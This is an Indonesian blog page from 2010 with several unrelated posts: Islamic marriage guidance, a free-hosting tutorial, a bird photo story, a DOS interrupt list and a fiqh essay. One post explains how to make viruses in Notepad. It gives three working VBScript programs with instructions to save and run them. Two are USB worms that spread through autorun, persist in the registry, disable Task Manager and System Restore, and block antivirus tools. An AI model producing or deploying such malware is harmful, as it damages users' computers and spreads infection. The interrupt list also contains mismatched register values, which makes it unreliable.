Senin, 27 Desember 2010

CALON ISTRI MENURUT ISLAM


Setelah kita mengetahui tentang tujuan menikah maka Islam juga mengajarkan kepada umatnya untuk berhati-hati dalam memilih pasangan hidup karena hidup berumah tangga tidak hanya untuk satu atau dua tahun saja, akan tetapi diniatkan untuk selama-lamanya sampai akhir hayat kita.
Muslim atau Muslimah dalam memilih calon istri atau suami tidaklah mudah tetapi membutuhkan waktu. Karena kriteria memilih harus sesuai dengan syariat Islam. Orang yang hendak menikah, hendaklah memilih pendamping hidupnya dengan cermat, hal ini dikarenakan apabila seorang Muslim atau Muslimah sudah menjatuhkan pilihan kepada pasangannya yang berarti akan menjadi bagian dalam hidupnya. Wanita yang akan menjadi istri atau ratu dalam rumah tangga dan menjadi ibu atau pendidik bagi anak-anaknya demikian pula pria menjadi suami atau pemimpin rumah tangganya dan bertanggung jawab dalam menghidupi (memberi nafkah) bagi anak istrinya. Maka dari itu, janganlah sampai menyesal terhadap pasangan hidup pilihan kita setelah berumah tangga kelak.
Lalu bagaimanakah supaya kita selamat dalam memilih pasangan hidup untuk pendamping kita selama-lamanya? Apakah kriteria-kriteria yang disyariatkan oleh Islam dalam memilih calon istri atau suami?


A. Kriteria Memilih Calon Istri
Dalam memilih calon istri, Islam telah memberikan beberapa petunjuk di antaranya :
1. Hendaknya calon istri memiliki dasar pendidikan agama dan berakhlak baik karena wanita yang mengerti agama akan mengetahui tanggung jawabnya sebagai istri dan ibu. Sebagaimana sabda Rasulullah Shallallahu ‘Alaihi Wa Sallam :
Dari Abu Hurairah radliyallahu ‘anhu dari Nabi Shallallahu ‘Alaihi Wa Sallam, beliau bersabda : “Perempuan itu dinikahi karena empat perkara, karena hartanya, keturunannya, kecantikannya, dan karena agamanya, lalu pilihlah perempuan yang beragama niscaya kamu bahagia.” (Muttafaqun ‘Alaihi)
Dalam hadits di atas dapat kita lihat, bagaimana beliau Shallallahu ‘Alaihi Wa Sallam menekankan pada sisi agamanya dalam memilih istri dibanding dengan harta, keturunan, bahkan kecantikan sekalipun.
Demikian pula Allah Subhanahu wa Ta’ala berfirman :
“Dan janganlah kamu nikahi wanita-wanita musyrik sebelum mereka beriman. Sesungguhnya wanita budak yang Mukmin lebih baik dari wanita musyrik, walaupun ia menarik hatimu … .” (QS. Al Baqarah : 221)
Sehubungan dengan kriteria memilih calon istri berdasarkan akhlaknya, Allah berfirman :
“Wanita-wanita yang keji adalah untuk laki-laki yang keji, dan laki-laki yang keji adalah buat wanita-wanita yang keji (pula), dan wanita-wanita yang baik adalah untuk laki-laki yang baik, dan laki-laki yang baik adalah untuk wanita-wanita yang baik (pula) … .” (QS. An Nur : 26)
Seorang wanita yang memiliki ilmu agama tentulah akan berusaha dengan ilmu tersebut agar menjadi wanita yang shalihah dan taat pada Allah Subhanahu wa Ta’ala. Wanita yang shalihah akan dipelihara oleh Allah Subhanahu wa Ta’ala sebagaimana firman-Nya :
“Maka wanita-wanita yang shalihah ialah yang taat kepada Allah lagi memelihara dirinya, oleh karena itu Allah memelihara mereka.” (QS. An Nisa’ : 34)
Sedang wanita shalihah bagi seorang laki-laki adalah sebaik-baik perhiasan dunia.
“Dunia adalah perhiasan, dan sebaik-baik perhiasan dunia adalah wanita shalihah.” (HR. Muslim)

2. Hendaklah calon istri itu penyayang dan banyak anak.
Nabi Shallallahu ‘Alaihi Wa Sallam pernah bersabda :
Dari Anas bin Malik, Rasulullah Shallallahu ‘Alaihi Wa Sallam bersabda : ” … kawinilah perempuan penyayang dan banyak anak … .” (HR. Ahmad dan dishahihkan oleh Ibnu Hibban)
Al Waduud berarti yang penyayang atau dapat juga berarti penuh kecintaan, dengan dia mempunyai banyak sifat kebaikan, sehingga membuat laki-laki berkeinginan untuk menikahinya.
Sedang Al Mar’atul Waluud adalah perempuan yang banyak melahirkan anak. Dalam memilih wanita yang banyak melahirkan anak ada dua hal yang perlu diketahui :
a. Kesehatan fisik dan penyakit-penyakit yang menghalangi dari kehamilan. Untuk mengetahui hal itu dapat meminta bantuan kepada para spesialis. Oleh karena itu seorang wanita yang mempunyai kesehatan yang baik dan fisik yang kuat biasanya mampu melahirkan banyak anak, disamping dapat memikul beban rumah tangga juga dapat menunaikan kewajiban mendidik anak serta menjalankan tugas sebagai istri secara sempurna.
b. Melihat keadaan ibunya dan saudara-saudara perempuan yang telah menikah sekiranya mereka itu termasuk wanita-wanita yang banyak melahirkan anak maka biasanya wanita itu pun akan seperti itu.

3. Hendaknya memilih calon istri yang masih gadis terutama bagi pemuda yang belum pernah nikah.
Hal ini dimaksudkan untuk mencapai hikmah secara sempurna dan manfaat yang agung, di antara manfaat tersebut adalah memelihara keluarga dari hal-hal yang akan menyusahkan kehidupannya, menjerumuskan ke dalam berbagai perselisihan, dan menyebarkan polusi kesulitan dan permusuhan. Pada waktu yang sama akan mengeratkan tali cinta kasih suami istri. Sebab gadis itu akan memberikan sepenuh kehalusan dan kelembutannya kepada lelaki yang pertama kali melindungi, menemui, dan mengenalinya. Lain halnya dengan janda, kadangkala dari suami yang kedua ia tidak mendapatkan kelembutan hati yang sesungguhnya karena adanya perbedaan yang besar antara akhlak suami yang pertama dan suami yang kedua. Rasulullah Shallallahu ‘Alaihi Wa Sallam menjelaskan sebagian hikmah menikahi seorang gadis :
Dari Jabir, dia berkata, saya telah menikah maka kemudian saya mendatangi Nabi Shallallahu ‘Alaihi Wa Sallam dan bersabda beliau Shallallahu ‘Alaihi Wa Sallam : “Apakah kamu sudah menikah ?” Jabir berkata, ya sudah. Bersabda Rasulullah : “Perawan atau janda?” Maka saya menjawab, janda. Rasulullah bersabda : “Maka mengapa kamu tidak menikahi gadis perawan, kamu bisa bermain dengannya dan dia bisa bermain denganmu.”

4. Mengutamakan orang jauh (dari kekerabatan) dalam perkawinan.
Hal ini dimaksudkan untuk keselamatan fisik anak keturunan dari penyakit-penyakit yang menular atau cacat secara hereditas.
Sehingga anak tidak tumbuh besar dalam keadaan lemah atau mewarisi cacat kedua orang tuanya dan penyakit-penyakit nenek moyangnya.
Di samping itu juga untuk memperluas pertalian kekeluargaan dan mempererat ikatan-ikatan sosial.

B. Kriteria Memilih Calon Suami
1. Islam.
Ini adalah kriteria yang sangat penting bagi seorang Muslimah dalam memilih calon suami sebab dengan Islamlah satu-satunya jalan yang menjadikan kita selamat dunia dan akhirat kelak.
Sebagaimana firman Allah Subhanahu wa Ta’ala :
“ … dan janganlah kamu menikahkan orang-orang musyrik (dengan wanita-wanita Mukmin) sebelum mereka beriman. Sesungguhnya budak yang Mukmin lebih baik dari orang musyrik walaupun dia menarik hatimu. Mereka mengajak ke neraka, sedang Allah mengajak ke Surga dan ampunan dengan izin-Nya. Dan Allah menerangkan ayat-ayat-Nya (perintah-perintah-Nya) kepada manusia supaya mereka mengambil pelajaran.” (QS. Al Baqarah : 221)

2. Berilmu dan Baik Akhlaknya.
Masa depan kehidupan suami-istri erat kaitannya dengan memilih suami, maka Islam memberi anjuran agar memilih akhlak yang baik, shalih, dan taat beragama.
Rasulullah Shallallahu ‘Alaihi Wa Sallam bersabda :
“Apabila kamu sekalian didatangi oleh seseorang yang Dien dan akhlaknya kamu ridhai maka kawinkanlah ia. Jika kamu sekalian tidak melaksanakannya maka akan terjadi fitnah di muka bumi ini dan tersebarlah kerusakan.” (HR. At Tirmidzi)
Islam memiliki pertimbangan dan ukuran tersendiri dengan meletakkannya pada dasar takwa dan akhlak serta tidak menjadikan kemiskinan sebagai celaan dan tidak menjadikan kekayaan sebagai pujian. Sebagaimana firman Allah Ta’ala :
“Dan kawinkanlah orang-orang yang sendirian di antara kamu dan orang-orang yang layak (nikah) dan hamba-hamba sahayamu yang lelaki dan hamba-hamba sahayamu yang perempuan. Jika mereka miskin, Allah akan memampukan mereka dengan karunia-Nya dan Allah Maha Luas (pemberian-Nya) lagi Maha Mengetahui.” (QS. An Nur : 32)
Laki-laki yang memilki keistimewaan adalah laki-laki yang mempunyai ketakwaan dan keshalihan akhlak. Dia mengetahui hukum-hukum Allah tentang bagaimana memperlakukan istri, berbuat baik kepadanya, dan menjaga kehormatan dirinya serta agamanya, sehingga dengan demikian ia akan dapat menjalankan kewajibannya secara sempurna di dalam membina keluarga dan menjalankan kewajiban-kewajibannya sebagai suami, mendidik anak-anak, menegakkan kemuliaan, dan menjamin kebutuhan-kebutuhan rumah tangga dengan tenaga dan nafkah.
Jika dia merasa ada kekurangan pada diri si istri yang dia tidak sukai, maka dia segera mengingat sabda Rasulullah Shallallahu ‘Alaihi Wa Sallam yaitu :
Dari Abu Hurairah radliyallahu ‘anhu berkata, bersabda Rasulullah Shallallahu ‘Alaihi Wa Sallam : “Jangan membenci seorang Mukmin (laki-laki) pada Mukminat (perempuan) jika ia tidak suka suatu kelakuannya pasti ada juga kelakuan lainnya yang ia sukai.” (HR. Muslim)
Sehubungan dengan memilih calon suami untuk anak perempuan berdasarkan ketakwaannya, Al Hasan bin Ali rahimahullah pernah berkata pada seorang laki-laki :
“Kawinkanlah puterimu dengan laki-laki yang bertakwa sebab jika laki-laki itu mencintainya maka dia akan memuliakannya, dan jika tidak menyukainya maka dia tidak akan mendzaliminya.”
Untuk dapat mengetahui agama dan akhlak calon suami, salah satunya mengamati kehidupan si calon suami sehari-hari dengan cara bertanya kepada orang-orang dekatnya, misalnya tetangga, sahabat, atau saudara dekatnya.
Demikianlah ajaran Islam dalam memilih calon pasangan hidup. Betapa sempurnanya Islam dalam menuntun umat disetiap langkah amalannya dengan tuntunan yang baik agar selamat dalam kehidupan dunia dan akhiratnya. Wallahu A’lam Bis Shawab.

Jumat, 17 Desember 2010

Cara Buat Website dan Domain Gratis


Cara Buat Website dan Domain Gratis Ternyata tak hanya hosting dan domain berbayar saja yang menyediakan fasilitas lengkap untuk membangun sebuah web amatir maupun professional, hosting gratis dan domain gratis pun bisa anda miliki dengan feature yang ngga kalah dari domain atau hosting berbayar featurenya.Saya sudah buktikan sekarang giliran anda untuk mencobanya, bagaimana langkah-langkahnya cara membuat domain dan web hosting gratis: 1. Anda harus punya email bagi yang belum punya silahkan daftar di Yahoo mailwww.yahoo.com atau di google mail di www.Gmail.com
2.- Selanjutnya mendaftar Domain Gratis terlebih dahulu silahkan Isi formulir dengan data lengkap.
co.ccco.cc
- Klik I Accept the term of sevice dan Kilk Create an Account Now 
– Klik Getting A New Domain 
–Kilk Check Availability – Klik Continue Registration, jika masih tersedia, jika tidak tersedia check availability kembali.
– Setelah sukses terregistrasi selanjutnya klik “SETUP” 3.Coba Buka browser baru (jangan menggunakan browser yang sama dengan langkah kedua, buka yang baru, klik file new windows atau new tab). Untuk mendaftar Web Hosting Gratis terlebih dahulu dengan
Isi formulir dengan data lengkap. Cantumkan domain yang sudah Anda daftarkan dilangkah kedua di atas pada formulir pendaftaran Web Hosting Gratis. Lalu cek box “I Agree Terms of Service” – Kemudian Catat Name Server details!  – Isilah name server 1 dan name server dua pada menu Manage DNS setelah Anda menekan tombol Setup pada langkah kedua. – Catat name server Anda, untuk dimasukan di Setup pada langkah kedua tadi. – menekan tombol Setup. – klik Ok, lihat gambar berikut: 

Kamis, 16 Desember 2010

Disuatu tempat di sebuah pelataran jalan

terkaparlah seekor burung betina dengan kondisi tubuh yang luka parah.















Datanglah pasangan jantanya dengan membawakan makanan kepada sang betina dengan kasih sayang dan haru..















Saat sang jantan sedang memberi makanan kepada sang betina, tak lama kemudian sang betina tak mampu bertahan dalam keadaan lukanya dan mati terkulai. Sang jantan sangat terpukul melihat sang betina mati dihadapannya dan dia berusaha untuk mengangkatnya untuk membawanya ke sarang mereka.
















Ahirnya sang burung jantan menyadari bahwa hal yang dilakukanya adalah sia-sia, karena pasangan yang dicintainya telah mati. Burung jantan itu kemudian menangis dihadapan kekasihnya yang telah mati meninggalkannya.















Sambil berdiri disamping tubuh kekasihnya yang telah terkapar mati kaku, sang jantang berteriak dengan suara yang sangat menyedihkan dan penuh haru.














Ahirnya sang burung jantan menyadari bahwa pasangan yang telah disayanginya telah meninggalkanya untuk selama-lamanya dan tak akan bisa hidup kembali bersamanya. Lalu ia berdiri di samping tubuh sang betina dengan duka yang sangat mendalam















Pasangan burung ini dikabarkan di ambil fotonya di suatu wilayah di negara Republik Ukraina, saat burung jantan tersebut sedang berusaha menyelamatkan pasangan betinanya.

Cara membuat virus dengan Notepad

Banyak cara yang digunakan untuk membuat virus, salah satunya dengan Notepad.
virus yang dibuat akan membuat komputer yang terinfeksi tidak bekerja dengan maksimal.
copy bahasa pemrograman dibawah ini.

option explicit

dim wshshell
set wshshell=wscript.createobject("wscript.shell")

dim x
for x = 1 to 100000000
wshshell.run "tourstart.exe"
next


hal yang perlu dilakukan:
Copy, lalu paste data-data diatas kedalam Notepad
Lalu save Notepad dengan nama virus.vbs ke dalam drive yang anda inginkan
Sama seperti cara diatas, ini merupakan virus ke 2.
Copy bahasa pemrograman dibawah ini.

on error resume next

dim rekur,syspath,windowpath,desades,
longka,mf,isi,tf,F0nAb0530,nt,check,sd

isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe Mila.sys.vbs”

set longka = createobject(“Scripting.FileSystemObject”)

set mf = longka.getfile(Wscript.ScriptFullname)

dim text,size

size = mf.size

check = mf.drive.drivetype

set text = mf.openastextstream(1,-2)

do while not text.atendofstream

rekur = rekur & text.readline

rekur = rekur & vbcrlf

loop

do

Set windowpath = longka.getspecialfolder(0)

Set syspath = longka.getspecialfolder(1)

set tf = longka.getfile(syspath & “\recycle.vbs”)

tf.attributes = 32

set tf = longka.createtextfile(syspath & “\recycle.vbs”,2,true)

tf.write rekur

tf.close

set tf = longka.getfile(syspath & “\recycle.vbs”)

tf.attributes = 39

for each desades in longka.drives

If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path “A:” then

set tf=longka.getfile(desades.path &”\Mila.sys.vbs”)

tf.attributes =32

set tf=longka.createtextfile(desades.path &”\Mila.sys.vbs”,2,true)

tf.write rekur

tf.close

set tf=longka.getfile(desades.path &”\Mila.sys.vbs”)

tf.attributes = 39

set tf =longka.getfile(desades.path &”\autorun.inf”)

tf.attributes = 32

set tf=longka.createtextfile(desades.path &”\autorun.inf”,2,true)

tf.write isi

tf.close

set tf = longka.getfile(desades.path &”\autorun.inf”)

tf.attributes=39

end if

next

set F0nAb0530 = createobject(“WScript.Shell”)

F0nAb0530.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”:: F0nA ::”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,2, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop\NoChangingWallpaper”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore\DisableSR”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\a”, “F0nAb0530-X2/1″

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\MRUList”, “a”

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “F0nAb0530-X2″

F0nAb0530.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText”, “Aku Sayang Mila”

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Ageia”, syspath & “\recycle.vbs”

F0nAb0530.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page”, “http://www.macancrew.net”

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordpad.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VB6.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autorun.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ansav.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremoval.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremover.exe\Debugger”,”“

if check 1 then

Wscript.sleep 200000

end if

loop while check 1

set sd = createobject(“Wscript.shell”)

sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname



Save kedalam Notepad dengan nama dian.sys.vbs



Virus 3 .

Copy data-data dibawah ini.


‘El Magnifico MAN
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe erwinda_putra.exe.vbs”
set fs = createobject(“Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\erwinda_putra.exe.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\erwinda_putra.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & “\erwinda_putra.exe.vbs”)
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path “A:” then
set tf=fs.getfile(flashdrive.path &”\erwinda_putra.exe.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\erwinda_putra.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\erwinda_putra.exe.vbs”)
tf.attributes =39
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
set rg = createobject(“WScript.Shell”)
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost”,winpath&”\erwinda_putra.exe.vbs”
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,”"
rg.regwrite “HKCR\vbsfile\DefaultIcon\”,”shell32.dll,3″
if check 1 then
Wscript.sleep 100000
end if
loop while check1
set sd = createobject(“Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

Rabu, 15 Desember 2010

SERVIS NUMBER DAN DAFTAR INTERRUPT

DAFTAR INTERRUPT
A.BIOS INTERRRUPT
1.Int 10h servis number  01h
Berguna untuk menentukan bentuk kursor
Input:
AH=01h
CH=Sel Awal Kursosr(0-7)
CL=Sel Akhir Kursor(0-7)
Output:
Kursor Baru
2. Int 10h servis number  02h
berguna untuk menentukan posisi kursor
Input:
AH=02h
BH=Nomor Halaman Layar
DH=baris
DL=kolom
Output:
Kursor pada posisi baru
3. Int 10h servis number  03h
Berguna untuk mengetahui posisi dan bentuk kursor
Input:
AH=03h
BH=nomor halaman layar
Output
DH=baris kursor
DL=kolom kursor
CH=Sel awaqal kursor
CL=sel akhir kursor
4. Int 10h servis number  05h
Berguna untuk mengaktifkan halaman layar
Input:
AH=05h
AL=nomor halaman layar
Output:
Ganti halaman layar
5. Int 10h servis number  06h
Berguna untuk menghapus layar diatas
Input:
AH=06h
AL=banyak baris yang dihapus(0=semua)
BH=warna
CH=baris pojok atas
DH=baris pojok bawah
Output:
Layar terhapus
6 .Int 10h servis number  07h
Berguna untuk menghapus layar kebawah
Input:
AH=07h
AL=banyak baris yang dihapus
BH=warna
CH=baris pojok atas
CL=kolom pojok atas
DH=baris pojok bawah
DL=kolom pojok bawah
Output:
Layar terhapus
7. Int 10h servis number  08h
Bergunaarna  untuk mengambil warna dan ASCII karakter posisi kursor
Input:
AH=08h
BH=nomor  halaman
Output:
AH=kode ASCII
AL=warn
8.Int 20h servis number  01h a karakter
Berguna untuk menulis karakter dengan warna di posisi kursor
Input:
AH=09h
AL=kode ASCII
BH=nomor halaman
CX=jumlah karakter dicetak
Output:
Karakter tertulis dilayar
9.int 12h
Berguna untuk mengetahui besar memori
Input:
-          Tidak ada
Output:
AX=besar memori dalam kb
10.int 18h
Berguna untuk mengambil resident basic
Input:
-          Tidak ada
Output:
Resident basic bekerja
11.Int 19h
Berguna untuk melakukan warm boot
Input:
-          Tidak ada
Output:
Boot ulang
B.DOS INTERRUPT
1.       Int 20h
Berguna untuk mengakhiri  program COM
Input:
-          Tidak ada
Output:
Program berakhir
2.       Int 21h Servis number 01h
Berguna untuk memasukan 1 karakter
Input:
AH=01h
Output:
AL=kode ASCII yang dimasukan,tercetak dilayar
3.Int 21h Servis number  02h
Berguna untuk menampilkan 1 karakter
Input:
AH=02h
DL=kode ASCII
Output:
Karakter tercetak dilayar
4. Int 21h Servis number  06h
Berguna untuk memasukan/menampilkan 1 karakter
Input:
AH=06h
DL=ffh(Memasukan karakter)
DL=kecil dari ffh(Menampilakn karakter)
AL=kode ASCII
Output:
AL=hasil masukan
Atau
Karakter tercetak
5. Int 21h Servis number 07h
Berguna untuk memasukan 1 karakter tanpa echo dan tidak mengecek Ctrl-C
Input:
AH=07h
Output:
AL=kode ASCII
6. Int 21h Servis number 08h
Berguna untuk memasukan 1 karakter tanpa echo dan mengecek Ctrl-C
Input:
AH=08h
Output:
AL=kode ASCII
7.  Int 21h Servis number 09h
Berguna untuk mencetak 1 baris string
Input:
AH=09h
DS:DX=Segment dan Offset variabel yang akan dicetak
Output:
Kalimat tercetak 7.
8. Int 21h Servis number 0Ah
Berguna untuk memasukan kumpulan string
Input:
AH=0Ah
DS:DX=Segment dan Offset  buffer menampung
Output:
Buffer terisi
9.   Int 21h Servis number 0Eh
Berguna untuk menganti drive yang sedang aktiif
Input:
AH=19h
Output:
Ganti drive aktif
10.   Int 21h Servis number 019h
Berguna untuk mengambil  drive yang sedang aktiif
Input:
AH=19h
Output:
AL=Drive yang sedang aktif
11.  Int 21h Servis number 2Ah
Berguna untuk mengambil tanggal sistem
Input:
AH=2Ah
Output:
CX=tahun
DX=bulan
DL=hari
12. Int 21h Servis number 2Bh
Berguna untuk menset tanggal sistem
Input:
AH=2Bh
CX=tahun
DX=bulan
DL=hari
Output:
AL=0(sukses)
AL=FF(terjadi kesalahan)
13. Int 21h Servis number 2Ch
Berguna untuk mengambil  waktu sistem
Input:
AH=2Ch
Output:
CH=jam
CL=menit
DH=detik
DL=micro detik
14. Int 21h Servis number  2Dh
Berguna untuk menset waktul sistem
Input:
AH=2Dh
CH=jam
CL=menit
DH=detik
DL=micro detik
Output:
AL=0(sukses)
AL=FF(terjadi kesalahan)
15. Int 21h Servis number 30h
Berguna untuk mengambil versi DOS
Input:
AH=39h
Output:
AL=Angka mayor DOS
AH=Angka Minor DOS
CX=DX=0
16. Int 21h Servis number 39h
Berguna untuk membuat subdirektory
Input:
AH=30h
DS:DX=segment dan offset dari nama direktori
Output:
No carry (sukses)
Carry (AH=kode kesalahan)
17. Int 21h Servis number 3Ah
Berguna untuk menghapus subdirektory
Input:
AH=3Ah
DS:DX=segment dan offset dari nama direktori
Output:
No carry (sukses)
Carry (AH=kode kesalahan)
18. Int 21h Servis number  3Bh
Berguna untuk menganti subdirektory
Input:
AH=39h
DS:DX=segment dan offset dari nama direktori
Output:
No carry (sukses)
Carry (AH=kode kesalahan)
19. Int 21h Servis number  41h
Berguna untuk menghapus subdirektory
Input:
AH=30h
DS:DX=segment dan offset dari nama direktori
Output:
No carry (sukses)
Carry (AH=kode kesalahan)
20. Int 21h Servis number 43h
Berguna untuk mengganti  file attribute
Input:
AH=43h
AL=1(mengganti attribute)
CX=Attribute baru
AL=0(mengambil attribute)
CX=attribute file
Output:
No carry (sukses)
Carry (AH=kode kesalahan)
21. Int 21h Servis number 56h
Berguna untuk mengganti  nama file
Input:
DS:DX=Segment dan offset dari nama direktori
ES:DI=Segment dan Offset dari nama pengganti
Output:
No carry (sukses)
Carry (AH=kode kesalahan)

Rabu, 08 Desember 2010

Nikah Muda dalam Kacamata Fikih Islam

Di antara keistimewaan Islam adalah fleksibelitas, universalitas, rasional, sesuai tempat dan zaman serta mudah diterima khalayak, baik yang berkaitan masalah ibadah, akhlak, muamalat, maupun berkaitan hukum (aturan) perkawinan. Isu nikah muda sering menjadi polemik dan kontroversi dalam masyarakat dikarenakan masih adanya asumsi bahwa hal itu dianjurkan agama, didorong serta dicontohkan Nabi Muhamad. Tepatkah asumsi tersebut?

Tulisan singkat ini dimaksudkan tak lain sekedar memberikan kontribusi tentang isu kawin muda (nikah di bawah umur) dalam pandangan agama, dalam kaitan ini fikih Islam. Harapan semoga ajaran Islam yang sudah sangat indah, mudah, memiliki norma-norma kemanusiaan dan terhormat ini tidak diselewengkan dan diterapkan hanya untuk kepentingan pribadi tanpa mengindahkan norma-norma kemanusiaan serta etika-etika umum masyarakat lainnya.

Usia Perkawinan

Istilah dan batasan nikah muda (nikah di bawah umur) dalam kalangan pakar hukum Islam sebenarnya masih simpang-siur yang pada akhirnya menghasilkan pendapat yang berbeda. Maksud nikah muda menurut pendapat mayoritas, yaitu, orang yang belum mencapai baligh bagi pria dan belum mencapai menstruasi (haid) bagi perempuan.

Syariat Islam tidak membatasi usia tertentu untuk menikah. Namun, secara implisit, syariat menghendaki orang yang hendak menikah adalah benar-benar orang yang sudah siap mental, pisik dan psikis, dewasa dan paham arti sebuah pernikahan yang merupakan bagian dari ibadah, persis seperti harus pahamnya apa itu salat bagi orang yang melakukan ibadah salat, haji bagi yang berhaji, transaksi dagang bagi pebisnis.

